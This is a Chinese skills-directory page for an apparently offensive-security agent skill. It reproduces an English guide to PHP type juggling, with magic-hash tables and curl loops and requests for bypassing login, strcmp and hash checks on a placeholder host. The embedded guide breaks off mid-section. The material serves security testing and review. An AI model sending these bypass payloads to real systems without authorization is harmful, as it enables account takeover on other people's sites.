跳到正文
Skillpedia
安全6.5k · #14075

php-type-juggling

它能做什么

这项技能说明 PHP 的宽松比较如何让攻击者绕过检查。适合审查 PHP 应用的安全测试人员,尤其是身份验证和哈希比较部分。

适用场景

  • ✓当 PHP 应用使用宽松比较运算符比较哈希或令牌时。
  • ✓当安全审查询问身份验证检查是否使用严格比较时。
  • ✓当 PHP 登录可能接受 null 或数字字符串等意外值时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请帮我检查,我的 PHP 登录是否因为使用了宽松比较而可以被绕过?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体解释并测试在宽松比较中被 PHP 视为相等的值,例如看起来像哈希的数字字符串,并检查检查是否通过。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

PHP Type Juggling and Magic Hash Attacks

Authorized-use only. Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide.

PHP is a loosely typed language. When comparing values with == (loose) rather than === (strict), PHP coerces types — a string beginning with 0e followed only by digits is treated as scientific notation and equals 0. An attacker who controls one side of a comparison can force equality with predictable hash outputs ("magic hashes"), bypass HMAC checks, or exploit NULL returns from type errors.

Affects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain.

ATT&CK Mapping

Technique Notes
T1190 Exploit public-facing application — auth bypass via comparison flaw
T1606.001 Forge web credentials — force authentication with crafted hash values

1. Loose Comparison Cheat Sheet

'0010e2'  == '1e3'      → true   (both evaluate as float 1000)
'123'     == 123        → true   (string cast to int)
'123abc'  == 123        → true   (leading numeric string)
'abc'     == 0          → true   (non-numeric string == 0 in PHP 5/7)
''        == 0          → true
0         == false      → true
false     == NULL       → true
NULL      == ''         → true
md5([])   == NULL       → true   (NULL == any string starting with 0e)
sha1([])  == NULL       → true

PHP 8.0 change: 'abc' == 0 now evaluates to false. Check target PHP version before assuming string-zero bypass.

2. Magic Hashes — 0e Collisions

When a hash output starts with 0e followed only by digits, PHP's == comparison treats it as float 0. Two such hashes are "equal" under == regardless of their actual values.

MD5 Magic Strings

Input MD5 Hash
240610708 0e462097431906509019562988736854
QNKCDZO 0e830400451993494058024219903391
0e1137126905 0e291659922323405260514745084877
0e215962017 0e291242476940776845150308577824
aabg7XSs 0e087386482136013740957780965295

SHA-1 Magic Strings

Input SHA-1 Hash
10932435112 0e07766915004133176347055865026311692244
aaroZmOk 0e66507019969427134894567494305185566735
aaK1STfY 0e76658526655756207688271159624026011393

SHA-224 / SHA-256 Magic Strings

Hash Input Output
SHA-224 10885164793773 0e281250946775200129471613219196999537878926740638594636
SHA-256 34250003024812 0e46289032038065916139621039085883773413820991920706299695051332
SHA-256 TyNOQHUS 0e66298694359207596086558843543959518835691168370379069085300385

Exploitation

# Login bypass — submit a magic hash input instead of the real password
# Server code: if (md5($input) == $stored_hash) { login() }
# If $stored_hash is also a 0e... hash, any 0e... input collides.

# Try magic inputs against a login endpoint
for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do
  echo -n "Trying $magic: "
  curl -si "https://target.example.com/login" \
    -d "username=admin&password=${magic}" \
    | grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2
done

3. NULL Bypass via Array Input

md5([]) and sha1([]) in PHP 5/7 return NULL with a warning. Under loose comparison, NULL == '' is true. If the server compares md5($input) == '' or similar:

# Send array input to hash functions — triggers NULL return
curl -si "https://target.example.com/login" \
  -d "username=admin&password[]=" \
  | grep -E "Location:|Set-Cookie:|error"

# POST with array notation
curl -si "https://target.example.com/verify" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "hash[]=&user=admin" \
  | grep -i "success\|error\|redirect"

4. strcmp() Return Value Bypass

strcmp() returns 0 (equal) on success, non-zero otherwise. Under loose comparison, strcmp($input, $secret) == 0 can be bypassed by passing an array (returns NULL, and NULL == 0 is true in PHP 5/7):

# Bypass strcmp-based password check
# Server: if (strcmp($_POST['pass'], $secret) == 0) { ... }
curl -si "https://target.example.com/login" \
  -d "username=admin&pass[]=" \
  | grep -iE "success|welcome|redirect|Location"

5. HMAC Brute-Force for 0e Collision (Magic HMAC)

When a cookie HMAC is verified with loose comparison against "0", an attacker

常见问题

什么是魔术哈希?

它是一个哈希值以零、字母 e 和数字开头的值,PHP 在宽松比较中会把它当作零。

它适用于较新的 PHP 版本吗?

该技能指出,PHP 8 修复了大多数数字字符串的情况,但仍存在一些边缘情况。

它只涉及密码吗?

不是。它还涵盖 HMAC 检查和 NULL 返回值的问题。

详情

作者的原始描述

PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14075
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能